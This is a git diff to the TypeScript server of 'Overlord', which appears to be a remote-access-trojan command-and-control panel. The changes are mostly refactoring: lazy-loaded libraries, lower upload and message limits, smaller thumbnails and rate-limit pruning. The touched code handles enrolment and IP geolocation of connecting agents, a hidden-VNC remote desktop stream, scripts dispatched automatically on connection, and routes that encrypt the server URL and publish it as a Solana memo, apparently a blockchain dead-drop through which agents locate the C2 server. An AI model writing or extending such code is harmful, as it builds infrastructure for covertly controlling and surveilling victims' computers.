diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index fbaf084..0289dda 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -180,8 +180,7 @@ function parseMaxHttpBodyBytes(): number { } logger.warn(`[HTTP] Invalid OVERLORD_MAX_HTTP_BODY_BYTES=${raw}; using default`); } - // Default to 2 GiB to allow large ISO uploads in file browser staging. - return 2 * 1024 * 1024 * 1024; + return 100 * 1024 * 1024; } const MAX_HTTP_BODY_BYTES = parseMaxHttpBodyBytes(); diff --git a/Overlord-Server/src/server/routes/sol-routes.ts b/Overlord-Server/src/server/routes/sol-routes.ts index 28f5b9e..e676698 100644 --- a/Overlord-Server/src/server/routes/sol-routes.ts +++ b/Overlord-Server/src/server/routes/sol-routes.ts @@ -2,16 +2,14 @@ import { createHash, randomBytes, createCipheriv } from "crypto"; import { authenticateRequest } from "../../auth"; import { getConfig } from "../../config"; import { logger } from "../../logger"; -import { - Connection, - Keypair, - Transaction, - TransactionInstruction, - PublicKey, - LAMPORTS_PER_SOL, -} from "@solana/web3.js"; -const MEMO_PROGRAM_ID = new PublicKey("MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr"); +let _solana: typeof import("@solana/web3.js") | null = null; +async function getSolana() { + if (!_solana) { + _solana = await import("@solana/web3.js"); + } + return _solana; +} const BASE58_ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"; function decodeBase58(str: string): Uint8Array { @@ -112,10 +110,11 @@ export async function handleSolRoutes( return Response.json({ error: "No agent token configured on this server" }, { status: 400 }); } - let keypair: Keypair; + let keypair: InstanceType>["Keypair"]>; try { + const { Keypair: SolKeypair } = await getSolana(); const decoded = decodeBase58(privateKeyBase58.trim()); - keypair = Keypair.fromSecretKey(decoded); + keypair = SolKeypair.fromSecretKey(decoded); } catch { return Response.json({ error: "Invalid Solana private key (Base58)" }, { status: 400 }); } @@ -133,6 +132,8 @@ export async function handleSolRoutes( const memo = encryptServerUrl(serverUrl.trim(), agentToken); try { + const { Connection, Transaction, TransactionInstruction, PublicKey } = await getSolana(); + const MEMO_PROGRAM_ID = new PublicKey("MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr"); const connection = new Connection(endpoint, "confirmed"); const memoInstruction = new TransactionInstruction({ @@ -184,8 +185,9 @@ export async function handleSolRoutes( return Response.json({ error: "publicKeyBase58 is required" }, { status: 400 }); } - let pubkey: PublicKey; + let pubkey: InstanceType>["PublicKey"]>; try { + const { PublicKey } = await getSolana(); pubkey = new PublicKey(publicKeyBase58.trim()); } catch { return Response.json({ error: "Invalid Solana public key" }, { status: 400 }); @@ -196,6 +198,7 @@ export async function handleSolRoutes( : "https://api.mainnet-beta.solana.com"; try { + const { Connection, LAMPORTS_PER_SOL } = await getSolana(); const connection = new Connection(endpoint, "confirmed"); const balance = await connection.getBalance(pubkey); return Response.json({ diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index f92f293..5f54f31 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -1,6 +1,12 @@ import type { ServerWebSocket } from "bun"; import { v4 as uuidv4 } from "uuid"; -import geoip from "geoip-lite"; +let _geoip: typeof import("geoip-lite") extends { default: infer D } ? D : never; +async function getGeoip() { + if (!_geoip) { + _geoip = (await import("geoip-lite")).default; + } + return _geoip; +} import { logAudit, AuditAction } from "../../auditLog"; import * as clientManager from "../../clientManager"; import { clientExists, setOnlineState, upsertClientRow, getClientEnrollmentStatus, setClientEnrollmentStatus, lookupClientByPublicKey, getClientPublicKeyById, getBuildByTag } from "../../db"; @@ -304,6 +310,7 @@ export async function handleWebSocketMessage( } if (enrollmentStatus === "pending") { + const geoip = await getGeoip(); const geo = ip ? geoip.lookup(ip) : undefined; const countryRaw = geo?.country || (payload as any).country || "ZZ"; const country = /^[A-Z]{2}$/i.test(countryRaw) ? countryRaw.toUpperCase() : "ZZ"; @@ -431,7 +438,7 @@ export async function handleWebSocketMessage( logger.warn(`[purgatory] failed to send hello_ack to ${resolvedId}: ${sendErr}`); } - handleHello(infoObj, payload, ws, ip); + await handleHello(infoObj, payload, ws, ip); clientManager.addClient(infoObj.id, infoObj); deps.dispatchAutoScriptsForConnection(infoObj, ws); diff --git a/Overlord-Server/src/server/runtime-constants.ts b/Overlord-Server/src/server/runtime-constants.ts index 03e6bd9..6544080 100644 --- a/Overlord-Server/src/server/runtime-constants.ts +++ b/Overlord-Server/src/server/runtime-constants.ts @@ -7,5 +7,5 @@ export const MAX_WS_MESSAGE_BYTES_VIEWER = Number( process.env.MAX_WS_MESSAGE_BYTES_VIEWER || 1_000_000, ); export const MAX_WS_MESSAGE_BYTES_CLIENT = Number( - process.env.MAX_WS_MESSAGE_BYTES_CLIENT || 50_000_000, + process.env.MAX_WS_MESSAGE_BYTES_CLIENT || 16_000_000, ); diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts index 067ae53..2b8d133 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts @@ -168,7 +168,7 @@ function buildViewerFrameBuffer(bytes: Uint8Array, header?: any): Uint8Array { return buf; } -const VIEWER_BACKPRESSURE_BYTES = 4 * 1024 * 1024; // 4 MB +const VIEWER_BACKPRESSURE_BYTES = 2 * 1024 * 1024; // 2 MB function broadcastFrameToViewers( sessions: Iterable<{ viewer: ServerWebSocket }>, diff --git a/Overlord-Server/src/server/ws-notifications-plugin.ts b/Overlord-Server/src/server/ws-notifications-plugin.ts index 072a040..22b9f3b 100644 --- a/Overlord-Server/src/server/ws-notifications-plugin.ts +++ b/Overlord-Server/src/server/ws-notifications-plugin.ts @@ -176,6 +176,20 @@ export function createNotificationPluginHandlers(deps: CreateDeps) { return true; } + function pruneNotificationRate() { + const notificationConfig = deps.getNotificationConfig(); + const spamWindow = Math.max(5000, notificationConfig.spamWindowMs || 60000); + const maxAge = spamWindow * 2; + const now = Date.now(); + for (const [key, state] of deps.notificationRate) { + if (now - state.lastSent > maxAge && now - state.windowStart > maxAge) { + deps.notificationRate.delete(key); + } + } + } + + setInterval(pruneNotificationRate, 60_000); + function flushPluginEvents(clientId: string, pluginId: string) { const key = `${clientId}:${pluginId}`; const list = deps.pendingPluginEvents.get(key); diff --git a/Overlord-Server/src/thumbnails.ts b/Overlord-Server/src/thumbnails.ts index eb84b9a..f67abe6 100644 --- a/Overlord-Server/src/thumbnails.ts +++ b/Overlord-Server/src/thumbnails.ts @@ -1,7 +1,13 @@ -import sharp from "sharp"; +let _sharp: typeof import("sharp") extends { default: infer D } ? D : never; +async function getSharp() { + if (!_sharp) { + _sharp = (await import("sharp")).default; + } + return _sharp; +} -const THUMBNAIL_WIDTH = Math.max(64, Number(process.env.OVERLORD_THUMBNAIL_WIDTH || 1920)); -const THUMBNAIL_HEIGHT = Math.max(48, Number(process.env.OVERLORD_THUMBNAIL_HEIGHT || 1080)); +const THUMBNAIL_WIDTH = Math.max(64, Number(process.env.OVERLORD_THUMBNAIL_WIDTH || 640)); +const THUMBNAIL_HEIGHT = Math.max(48, Number(process.env.OVERLORD_THUMBNAIL_HEIGHT || 360)); const THUMBNAIL_QUALITY = Math.min(90, Math.max(40, Number(process.env.OVERLORD_THUMBNAIL_QUALITY || 72))); const MAX_THUMBNAIL_SOURCE_BYTES = Math.max( 256 * 1024, @@ -44,6 +50,7 @@ async function buildThumbnailDataUrl(bytes: Uint8Array, format: string): Promise return null; } + const sharp = await getSharp(); const output = await sharp(Buffer.from(bytes), { failOn: "none" }) .rotate() .resize({ diff --git a/Overlord-Server/src/wsHandlers.ts b/Overlord-Server/src/wsHandlers.ts index 928915a..86f7a92 100644 --- a/Overlord-Server/src/wsHandlers.ts +++ b/Overlord-Server/src/wsHandlers.ts @@ -1,6 +1,13 @@ -import geoip from "geoip-lite"; import { encodeMessage, decodeMessage, WireMessage } from "./protocol"; import { Buffer } from "node:buffer"; + +let _geoip: typeof import("geoip-lite") extends { default: infer D } ? D : never; +async function getGeoip() { + if (!_geoip) { + _geoip = (await import("geoip-lite")).default; + } + return _geoip; +} import { ClientInfo } from "./types"; import { consumeThumbnailRequest, @@ -77,7 +84,7 @@ export function clearClientSyncState(clientId: string): void { pendingClientDbUpdates.delete(clientId); } -export function handleHello( +export async function handleHello( info: ClientInfo, payload: WireMessage, ws: any, @@ -103,6 +110,7 @@ export function handleHello( info.cpu = sanitizeInfoString((payload as any).cpu) || info.cpu; info.gpu = sanitizeInfoString((payload as any).gpu) || info.gpu; info.ram = sanitizeInfoString((payload as any).ram, 64) || info.ram; + const geoip = await getGeoip(); const geo = ip ? geoip.lookup(ip) : undefined; const countryRaw = geo?.country || (payload as any).country || info.country || "ZZ";